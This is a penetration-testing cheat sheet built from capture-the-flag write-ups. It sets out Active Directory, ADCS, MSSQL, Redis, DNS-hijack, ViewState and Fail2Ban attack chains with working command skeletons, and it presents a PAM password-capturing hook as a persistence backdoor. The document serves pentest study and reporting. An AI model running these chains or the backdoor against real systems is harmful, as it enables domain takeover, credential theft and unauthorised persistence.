Reusable, box-agnostic patterns distilled from the write-ups. A full write-up is a 20-minute learning artifact; under pressure you want the pattern — recognise the shape, fire the actions, check the usual failures. The chain is: long write-up → this card → manual page → command snippet.

Each card: Pattern (the shape) · Signals (how you recognise it) · Actions (the move) · Failure checks (what trips people) · Report note (the finding angle). Links go to the source write-up and the technique pages.

PatternSeen on
Kerberos-only AD (NTLM disabled)Voleur
ESC1 → Pass-the-Cert → RBCD → S4U → DCSyncAuthority
AD object-control chain → DCSyncAdministrator, TombWatcher
Readable share → exposed secretsAuthority, Voleur
DPAPI credential recoveryVoleur
Deleted AD object restoreVoleur, TombWatcher
NetNTLM capture → crack or relayMedia, VulnCicada
MSSQL → SeImpersonate → SYSTEMStreamIO
ADCS ESC8 (relay to web enrollment)VulnCicada
Source review → leaked creds → code-injection RCECraft
Container root → app config → internal service → hostCraft
HashiCorp Vault token → SSH OTP → rootCraft
Constrained delegation via SeEnableDelegationPrivilege + computer-object control (MAQ=0)Redelegate
Low-priv MSSQL → domain account (RID) enumerationRedelegate
Disclosed DNS update key → dynamic DNS hijack → mail/token interceptionSnoopy
Callback is a protocol client (SSH), not a shell → honeypot the credentialSnoopy
Constrained sudo on a file processor → patch/parser file-write or file-readSnoopy
ADCS escalation beyond ESC1 — ESC15 (app-policies) / ESC16 (CA security-ext disabled)TombWatcher, Fluffy
Unauthenticated Redis → file-write → SSH footholdPostman
Leaked ASP.NET machineKey → ViewState deserialization RCEPOV
Writable privileged-service config + trigger → root (Fail2Ban action hijack)Trick

Kerberos-only AD (NTLM disabled)

  • Pattern: the domain has NTLM disabled; every authentication must go through Kerberos.
  • Signals: STATUS_NOT_SUPPORTED, NTLM:False, valid creds fail over SMB/LDAP, large clock skew.
  • Actions: set /etc/hosts + /etc/krb5.conf; ntpdate; getTGTexport KRB5CCNAME; target the DC FQDN; use --use-kcache (nxc), -k (impacket), evil-winrm -r REALM.
  • Failure checks: wrong realm casing · stale ccache active (klist) · targeting the IP instead of the FQDN · clock skew.
  • Report note: authentication hardening (NTLM disabled) changed the attacker workflow but did not prevent credential abuse over Kerberos.
  • Refs: Voleur · NetExec_LDAP_Kerberos

ESC1 → Pass-the-Cert → RBCD → S4U → DCSync

  • Pattern: a vulnerable client-auth template yields an Administrator certificate; when PKINIT is blocked, use the cert over Schannel to write RBCD, S4U to impersonate, then DCSync.
  • Signals: certipy find -vulnerable shows enrollee-supplies-subject + client-auth + a group you control can enrol; you can create computer accounts (MachineAccountQuota > 0).
  • Actions: addcomputercertipy req -upn administrator -sid <DOMAIN_SID>-500 → (PKINIT fails) split PFX → passthecert write_rbcdgetST S4U for cifs/DCsecretsdump DCSync.
  • Failure checks: machine account needs the trailing $ · cert “no object SID” → add -sid · KDC_ERR_PADATA_TYPE_NOSUPP ≠ bad cert (use Schannel) · RBCD delegate-from = your machine account · copy the SPN hostname exactly from klist.
  • Report note: a single misconfigured client-auth template enabled full domain compromise with no software vulnerability.
  • Refs: Authority · Pass_the_Certificate · AD_Kerberos_Double_Hop

AD object-control chain → DCSync

  • Pattern: BloodHound ACL edges chain a low-priv principal up to domain dominance via password resets, GenericWrite SPN (Kerberoast), or WriteDACL → DCSync.
  • Signals: outbound control edges (GenericAll/Write, ForceChangePassword, WriteDACL) from an owned principal to higher-priv objects.
  • Actions: load PowerView → abuse the exact edge (Set-DomainUserPassword / Set-DomainObject SPN → roast / Add-DomainObjectAcl DCSync) → validate each new identity → repeat → DCSync.
  • Failure checks: PowerView not loaded · AD replication delay · SPN write succeeds but WinRM lacks Kerberos context (roast from Kali) · revert every change.
  • Report note: accumulated excessive ACLs allowed escalation purely through legitimate AD operations.
  • Refs: Administrator · TombWatcher · AD_ACL_Abuse

Readable share → exposed secrets

  • Pattern: an anonymous or low-priv readable share holds automation (Ansible), backups, or office documents containing recoverable secrets.
  • Signals: anonymous SMB accepted; Development/IT/backup shares readable; config/automation/office files present.
  • Actions: mirror the share offline (smbclient … 'recurse ON; prompt OFF; mget *') → grep for secrets → crack what’s encrypted (ansible2john m16900 / office2john) → decrypt → validate the recovered cred.
  • Failure checks: don’t inspect file-by-file — mirror first · a cracked vault value is the key, not the final secret · pull binaries in binary mode.
  • Report note: sensitive credentials stored in a readable share enabled authenticated access.
  • Refs: Authority · Voleur · SMB_Ports_139_445 · Password_Cracking_Hashcat

DPAPI credential recovery

  • Pattern: a user’s DPAPI credential blob + masterkey + their SID + password decrypts a stored credential.
  • Signals: AppData/…/Microsoft/Credentials/* blobs and Protect/<SID>/* masterkeys in a profile or archive.
  • Actions: grab the Roaming Credentials blob + matching Protect masterkey → impacket-dpapi masterkey -sid -passwordimpacket-dpapi credential -key → use the recovered Username/password.
  • Failure checks: pair the Roaming blob with the Roaming masterkey · the Target field is a label — use Username · all four pieces required.
  • Report note: cached credentials are recoverable offline once a user’s SID and password are known.
  • Refs: Voleur · Windows_Credential_Manager

Deleted AD object restore

  • Pattern: membership in a restore-capable group lets you recover a deleted account (AD Recycle Bin) whose known password then works.
  • Signals: BloodHound shows a restore-related group membership; a note references a deleted user.
  • Actions: enumerate deleted objects (Get-ADObject -IncludeDeletedObjects) → Restore-ADObject (by ObjectGUID to dodge \0ADEL: escaping) → authenticate as the restored account.
  • Failure checks: Restore-ADObject is silent on success — re-enumerate to confirm · run as the privileged identity (RunasCs) if WinRM AD cmdlets are unstable.
  • Report note: recycle-bin/restore rights allowed recovery of a privileged account.
  • Refs: Voleur · TombWatcher

NetNTLM capture → crack or relay

  • Pattern: poison broadcast name resolution (or coerce auth) to capture NetNTLMv2, then crack offline or relay it.
  • Signals: local segment with LLMNR/NBT-NS enabled; a service/feature you can point at your listener.
  • Actions: responder -I [INTERFACE] → capture → hashcat -m 5600 or relay with ntlmrelayx (if SMB signing is off) → access.
  • Failure checks: SMB signing blocks relay (crack instead) · machine-account NetNTLM rarely cracks (relay instead).
  • Report note: broadcast name resolution enabled credential interception and relay.
  • Refs: Media · VulnCicada · AD_LLMNR_Poisoning

MSSQL → SeImpersonate → SYSTEM

  • Pattern: service creds reach MSSQL; xp_cmdshell gives a service-account shell holding SeImpersonate; a Potato exploit reaches SYSTEM.
  • Signals: MSSQL reachable with creds; xp_cmdshell enableable; whoami /priv shows SeImpersonatePrivilege.
  • Actions: mssqlclient … -windows-authenable_xp_cmdshell → shell → confirm SeImpersonate → PrintSpoofer/GodPotato → SYSTEM.
  • Failure checks: use -windows-auth for domain creds · MSSQL service accounts almost always hold SeImpersonate.
  • Report note: a database service account with impersonation rights enabled local SYSTEM compromise.
  • Refs: StreamIO · AD_Privileged_Access · Windows_PrivEsc_Token_Privileges

ADCS ESC8 (relay to web enrollment)

  • Pattern: relay coerced machine/DC NTLM authentication to the AD CS web enrollment endpoint to obtain a DC certificate → authenticate → DCSync.
  • Signals: AD CS HTTP web enrollment (/certsrv) reachable; a coercion primitive (PetitPotam) available.
  • Actions: ntlmrelayx --target http://CA/certsrv/… -template DomainController → coerce the DC → receive the cert → authenticate → DCSync.
  • Failure checks: needs HTTP enrollment endpoint and a coercion vector · target the right template.
  • Report note: unauthenticated NTLM relay to certificate enrollment enabled domain compromise.
  • Refs: VulnCicada · Pass_the_Certificate

Source review → leaked creds → code-injection RCE

  • Pattern: the app’s own source (self-hosted git like Gogs/GitLab, or an exposed .git) reveals both the bug and the credentials to reach it; an unsafe sink (eval, template, deserialization, SQL) then yields RCE.
  • Signals: a public/self-hosted git service; issues/commits referencing a vulnerable endpoint; test scripts; an API that needs a token.
  • Actions: read repos + issue tracker + commit history (creds often hide in old commits) → recover working creds → reach the authenticated endpoint → exploit the sink (e.g. Python eval via __import__('os').system(...)).
  • Failure checks: stale tokens still teach the header/format · the sink may be code (Python) not shell — the payload must be valid in that language · prove execution with a harmless callback before a shell.
  • Report note: secrets in source control plus unsafe evaluation of user input enabled remote code execution.
  • Refs: Craft · Common_Apps_GitLab_osTicket · Command_Injection_Fundamentals

Container root → app config → internal service → host

  • Pattern: RCE lands as root inside a container; the app’s config holds internal-service creds; those (or reused) creds reach the real host.
  • Signals: /.dockerenv present; minimal env (no /bin/bash); app config (settings.py/.env) with DB creds + an internal hostname.
  • Actions: confirm container (/.dockerenv) → loot app config → query internal services from inside the container (it already has the network + deps) → harvest creds → test reuse against host services (SSH, git, web).
  • Failure checks: container root ≠ host root — don’t kernel-privesc · internal DB may only resolve from the container · a recovered password may be a key passphrase, not a login.
  • Report note: container compromise plus credential reuse bridged from an isolated app container to the host.
  • Refs: Craft · Linux_PrivEsc_Enumeration · Attacking_SQL_Databases · Credential_Hunting_Linux

HashiCorp Vault token → SSH OTP → root

  • Pattern: a .vault-token on the host carries the root policy; Vault’s SSH secrets engine issues a one-time root SSH password.
  • Signals: .vault-token in a home dir; vault installed and reachable; an ssh/ secrets engine with an OTP role (default_user root, cidr 0.0.0.0/0).
  • Actions: vault token lookup (confirm root policy) → vault secrets listvault list ssh/rolesvault ssh -role <role> -mode otp root@127.0.0.1 → paste the OTP at the password prompt.
  • Failure checks: the token is not the password — it generates an OTP · missing sshpass only stops auto-paste (paste manually) · OTPs are one-time/short-lived — regenerate if it fails.
  • Report note: an overly-privileged Vault token stored on disk allowed escalation to root via the SSH OTP engine.
  • Refs: Craft

Constrained delegation via SeEnableDelegationPrivilege + computer-object control (MAQ=0)

  • Pattern: when MachineAccountQuota = 0 blocks creating a new computer account, abuse an existing computer object you control. Reset its password to own it, configure classic constrained delegation with protocol transition on it, then S4U to a DC service and DCSync.
  • Signals: an owned user holds SeEnableDelegationPrivilege (whoami /priv) and has GenericAll/write over a computer object (BloodHound); MachineAccountQuota: 0 (so RBCD-via-new-machine is out).
  • Actions: Set-ADAccountPassword 'FS01$' (or bloodyAD set password) to take control → bloodyAD add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATIONbloodyAD set object 'FS01$' msDS-AllowedToDelegateTo -v cifs/dc.<domain>getTGT as the machine → getST -spn cifs/dc.<domain> -impersonate dcexport KRB5CCNAME the generated ticket → secretsdump -k -no-pass DCSync.
  • Failure checks: SeEnableDelegationPrivilege is required to write the delegation flags — a plain GenericAll alone isn’t enough · direction matters: configure the controlled computer to delegate to a DC service, not the reverse · the DC may not list cifs/ explicitly — HOST SPN mappings (sPNMappings) cover CIFS · getST saves a long-named ccache, not dc.ccachels *.ccache and export the exact file · single-quote FS01$ so the shell doesn’t eat $.
  • Report note: a user able to configure delegation (SeEnableDelegationPrivilege) combined with write control over a computer object enabled full domain compromise even with MachineAccountQuota set to 0.
  • Refs: Redelegate · AD_Privileged_Access · AD_Kerberos_Double_Hop · AD_ACL_Abuse

Low-priv MSSQL → domain account (RID) enumeration

  • Pattern: a service/vault credential authenticates to MSSQL but is low-privileged (not sysadmin, no xp_cmdshell). It’s still useful: MSSQL can resolve domain SIDs/RIDs to enumerate a clean AD user/group list with no other domain foothold.
  • Signals: a recovered cred works with nxc mssql … --local-auth; IS_SRVROLEMEMBER('sysadmin') = 0; xp_cmdshell disabled; you have no validated domain username yet.
  • Actions: confirm context (SELECT SYSTEM_USER / USER_NAME() / @@VERSION) → run the RID sweep (auxiliary/admin/mssql/mssql_enum_domain_accounts, set fuzznum) → strip groups/machine accounts/built-ins to a real user list → feed it into lockout-aware spraying.
  • Failure checks: classify the cred first — a SQLGuest-style entry is SQL-local, use --local-auth (an SMB failure doesn’t invalidate it) · this is enumeration, not RCE — don’t burn time forcing xp_cmdshell · drop groups/$ machine accounts before spraying.
  • Report note: a low-privileged database login allowed enumeration of domain accounts via SID/RID resolution, seeding credential attacks.
  • Refs: Redelegate · Attacking_SQL_Databases · AD_Password_Spraying_AD

Disclosed DNS update key → dynamic DNS hijack → mail/token interception

  • Pattern: an exposed config file leaks a DNS dynamic-update key (RNDC/TSIG); the zone allows authenticated updates with it. Repoint a record (e.g. the mail server) to attacker infrastructure, stand up the matching service, and intercept whatever the target sends there — classically a password-reset email.
  • Signals: BIND named.conf reachable (LFI/readable share) with key "rndc-key" {…} + a zone allow-update { key … }; an app that sends mail/tokens; a hint that a server (mail.<domain>) is “offline” or being migrated; a password-reset flow that distinguishes valid from invalid accounts.
  • Actions: build a key file → nsupdate -k keyfile (server <DNS>, zone <z>, update add name. 60 A <ATTACKER>) → verify with dig @<DNS> name +short → stand up the receiver (Postfix for SMTP — frees port 25 from INetSim first) → trigger the flow → read the captured token (/var/mail/<user>, decode quoted-printable with quopri).
  • Failure checks: dig ignores /etc/hosts — query @<target DNS> directly · nsupdate needs a TTL before the type (name. 60 A ip) · zone may reset the record — re-apply in a loop · a captured reset URL is single-use/expiring — use it promptly.
  • Report note: a disclosed dynamic-update key combined with an attacker-influenceable mail/token flow enabled account takeover with no exploit of the application itself.
  • Refs: Snoopy · Attacking_DNS · Attacking_Email_Services · LFI_Path_Traversal_Bypasses

Callback is a protocol client (SSH), not a shell → honeypot the credential

  • Pattern: an automation/provisioning feature connects out to a host you supply. The connection isn’t a reverse shell — it speaks a real protocol (often SSH). A plain nc listener proves the TCP connect but throws the auth away. Run a fake server for that protocol to capture the credential the client offers.
  • Signals: a “provision/test/connect to my server” workflow; an outbound SYN to a service port (22/2222); the client banner identifies a library (SSH-2.0-paramiko_…); nc shows a connect but no usable data.
  • Actions: identify the protocol from the banner/port → run the matching honeypot (sshesame for SSH, bound to the callback port) → trigger the workflow → read the captured username/password → reuse it against the real service.
  • PAM alternative (no honeypot): hook auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh into /etc/pam.d/common-auth on a box running a real sshd; expose_authtok pipes the cleartext token to your script on stdin, so the inbound auth leaks the password (script logs $PAM_USER + cat -). Forward the callback port into the real daemon with socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22 instead of rebinding sshd. Insert the hook before pam_unix.so, not appended to the bottom — the stack ends with pam_deny.so (requisite) which terminates on a failed/unknown-user auth, so a hook below it never runs for the bot’s attempt. Two-pass capture: for a user that doesn’t exist locally, sshd runs a dummy auth path and never feeds the password into PAM, so the first attempt logs only the username ($PAM_USER, empty password field). Read the name, sudo useradd <user>, then re-trigger the workflow — the second attempt drives the real auth path and expose_authtok exposes the cleartext token. Same hook = a credential-harvesting persistence backdoor once you own a target box. Casts-wide-net caveat: it captures every auth on that host — remove the line (and throwaway account) when done.
  • Failure checks: nc is only a connectivity check — it can’t complete an SSH handshake · the honeypot needn’t offer a real shell, just complete enough auth to log the attempt · match the listener port to what the workflow dials · for the PAM route the attacker sshd needs UsePAM yes + PasswordAuthentication yes.
  • Report note: an automated workflow authenticated with reusable credentials to an attacker-supplied host, allowing credential capture via a rogue server.
  • Refs: Snoopy · Linux_Remote_Management_SSH_Rsync_RServices · Linux_Auth_Process · Shell_Bind_Reverse

Constrained sudo on a file processor → patch/parser file-write or file-read

  • Pattern: a tight sudo rule (locked-down regex, fixed flags, fixed directory) looks unexploitable as a shell escape — but the allowed binary processes a file you control. Attack the file format, not the command line: a patch tool that follows symlinks writes where you point it; a parser with an injection bug (XXE) reads files for you. The privilege comes from what the trusted process does with your input, run as the target user/root.
  • Signals: sudo -l shows a binary pinned to a regex like [a-zA-Z0-9.]+ with no flag/path freedom; the binary is a patcher/archiver/AV/converter that ingests a file from a writable directory; the version is old enough to carry a known parser CVE.
  • Actions: (write) git apply as another user → track a symlink to the target dir in a throwaway repo, craft a patch that renames the symlink and adds a file through it (e.g. authorized_keys), apply as the target. (read) old clamscan --debug → build a DMG whose plist carries an XML external entity (patch libdmg-hfsplus), scan it, read the leaked file from debug output. Always prove the primitive on a harmless target (/etc/hostname) before root material.
  • Failure checks: patch hunks need exact framing — added lines start with +, keys stay one line · a stale/deleted CWD breaks git (Unable to read current working directory) — recreate the repo · parser disclosure rides stderr — capture 2>&1 · “scan OK”/“applied cleanly” is success, not failure — read the side effect · copy leaked PEM blocks without the debug prefix.
  • Report note: an overly-permissive sudo rule on a file-processing binary allowed file write / file read as a higher-privileged account, bypassing the apparent command restriction.
  • Refs: Snoopy · Linux_PrivEsc_Permissions_Sudo · XXE_Injection

ADCS escalation beyond ESC1 — ESC15 (app-policies) / ESC16 (CA security-ext disabled)

  • Pattern: certipy find -vulnerable listing no vulnerable templates does not mean AD CS is safe. ESC16 is a CA-wide setting (the CA omits the SID security extension), and ESC15 abuses a schema-v1 enrollee-supplies-subject template by injecting application policies. Both let a low-priv principal obtain a cert that authenticates as a privileged user.
  • Signals: certipy find flags ESC15 on a template, or shows “Security Extension Disabled”/ESC16 at the CA level; a schema-v1 template with Enrollee-Supplies-Subject + client-auth EKU; a clean per-template -vulnerable list (don’t stop there).
  • Actions: ESC16certipy account update -upn administrator@<domain> on a controlled account → certipy req off any client-auth template → restore the UPN → certipy auth -pfx. ESC15certipy req … -upn <target> -sid <target-SID> -application-policies 'Client Authentication'certipy auth.
  • Failure checks: ESC16 UPN swap is destructive to the controlled account — restore the UPN immediately after issuing · a -vulnerable blank doesn’t rule out CA-wide ESC16 · supply -sid to satisfy strong mapping · an unresolved SID in a template ACL is a tombstoned-principal clue (restore it, then enrol).
  • Report note: a CA/template misconfiguration permitted certificate-based authentication as a privileged identity with no software vulnerability.
  • Refs: TombWatcher · Fluffy · Pass_the_Certificate

Unauthenticated Redis → file-write → SSH foothold

  • Pattern: an exposed Redis with no auth is a file-write primitive, not just a data-read finding. Redirect its dump file into a user’s .ssh/ and flush a padded public key into authorized_keys, then SSH in.
  • Signals: port 6379 open; redis-cli -h <ip> answers PING/INFO with no NOAUTH; CONFIG GET dir is settable.
  • Actions: generate a keypair → config set dir /home/<user>/.ssh/config set dbfilename authorized_keysset crackit "\n\n<padded pubkey>\n\n"savessh -i key <user>@<ip>. (Webroot web-shell write and MODULE LOAD RCE are alternatives.)
  • Failure checks: NOAUTH → needs creds (-a) · “protected mode”/localhost-bound → pivot or tunnel in · key written but SSH still fails → wrong home dir, .ssh perms, or key not newline-padded.
  • Report note: an unauthenticated in-memory data store allowed arbitrary file write, yielding an interactive foothold.
  • Refs: Postman · Attacking_Redis

Leaked ASP.NET machineKey → ViewState deserialization RCE

  • Pattern: an exposed web.config discloses the ASP.NET machineKey; with the validation/decryption keys you forge a signed (and encrypted) __VIEWSTATE that deserializes to code execution as the IIS app-pool identity.
  • Signals: a readable/leaked web.config (LFI, path traversal, directory exposure) containing <machineKey validationKey=… decryptionKey=…>; an ASP.NET app posting __VIEWSTATE.
  • Actions: ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<cmd>" --validationkey=… --validationalg=… --decryptionkey=… --decryptionalg=… --path=/<page>.aspx --apppath=/ (via mono/wine on Linux) → POST as __VIEWSTATE + matching __VIEWSTATEGENERATOR.
  • Failure checks: align --path/--apppath so the computed generator matches the real request rather than forcing --generator · toggle --islegacy if generation style is wrong · paste the blob as-is — don’t let Burp double-URL-encode it.
  • Report note: disclosed cryptographic key material enabled forging trusted ViewState and remote code execution.
  • Refs: POV · Common_Apps_IIS_Tilde_LDAP_ThickClient

Writable privileged-service config + trigger → root (Fail2Ban action hijack)

  • Pattern: you can restart a root service (sudo) and write to its action/config dir. Overwrite the command it runs on an event, then trigger the event so your payload executes as root. Fail2Ban is the canonical case: edit actionban, then get yourself banned.
  • Signals: sudo -l allows restarting fail2ban (or it auto-reloads); write access to /etc/fail2ban/action.d/ or jail.local (often via a service group).
  • Actions: overwrite actionban in an active action (e.g. iptables-multiport.conf) with a SUID-copy/reverse-shell payload → reload fail2ban → trigger a real ban (burst failed SSH logins from a throwaway source) so actionban fires as root.
  • Failure checks: restarting/reloading alone does not run actionban — only an actual ban does · confirm the jail is enabled and watching the log you can reach.
  • Report note: write access to a root-run service’s action configuration allowed command execution as root via a normal service event.
  • Refs: Trick · Linux_PrivEsc_Services_Cron